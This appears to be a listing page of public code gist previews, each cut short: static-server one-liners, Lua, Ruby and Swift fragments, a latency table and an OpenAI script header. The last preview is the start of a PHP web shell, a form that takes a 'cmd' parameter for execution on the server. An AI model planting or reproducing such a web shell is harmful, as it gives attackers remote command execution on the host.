Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000
for line in yourString:gmatch("([^\n]*)\n?") do | |
-- do something | |
end |
Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000
module PixenToGameQuery | |
require 'RMagick' | |
include Magick | |
FPR = 12 # Frames per row in a sprite sheet generated by Pixen | |
COLPAD = 2 # Pix between each column of images on the sprite sheet | |
ROWPAD = 2 # Pix between each row of images on the sprite sheet | |
LEFTPAD = 4 # Extra pix on left of sprite sheet | |
RIGHTPAD = 20 # Extra pix on right of sprite sheet | |
BOTTOMPAD = 2 # Extra pix on bottom of sprite sheet |
import CoreGraphics | |
extension CGKeyCode | |
{ | |
/* | |
* From Events.h in Carbon.framework | |
* Summary: | |
* Virtual keycodes | |
* | |
* Discussion: |
Latency Comparison Numbers (~2012) | |
---------------------------------- | |
L1 cache reference 0.5 ns | |
Branch mispredict 5 ns | |
L2 cache reference 7 ns 14x L1 cache | |
Mutex lock/unlock 25 ns | |
Main memory reference 100 ns 20x L2 cache, 200x L1 cache | |
Compress 1K bytes with Zippy 3,000 ns 3 us | |
Send 1K bytes over 1 Gbps network 10,000 ns 10 us | |
Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD |
""" | |
inference_openai.py - text generation with OpenAI API | |
See https://platform.openai.com/docs/quickstart for more details. | |
Usage: | |
python inference_openai.py --prompt "The quick brown fox jumps over the lazy dog." --model "gpt-3.5-turbo" --temperature 0.5 --max_tokens 256 --n 1 --stop "." | |
Detailed usage: | |
python inference_openai.py --help |
"""This is free and unencumbered software released into the public domain. | |
Anyone is free to copy, modify, publish, use, compile, sell, or | |
distribute this software, either in source code form or as a compiled | |
binary, for any purpose, commercial or non-commercial, and by any | |
means. | |
In jurisdictions that recognize copyright laws, the author or authors | |
of this software dedicate any and all copyright interest in the | |
software to the public domain. We make this dedication for the benefit |
<html> | |
<body> | |
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
<input type="TEXT" name="cmd" autofocus id="cmd" size="80"> | |
<input type="SUBMIT" value="Execute"> | |
</form> | |
<pre> | |
<?php | |
if(isset($_GET['cmd'])) | |
{ |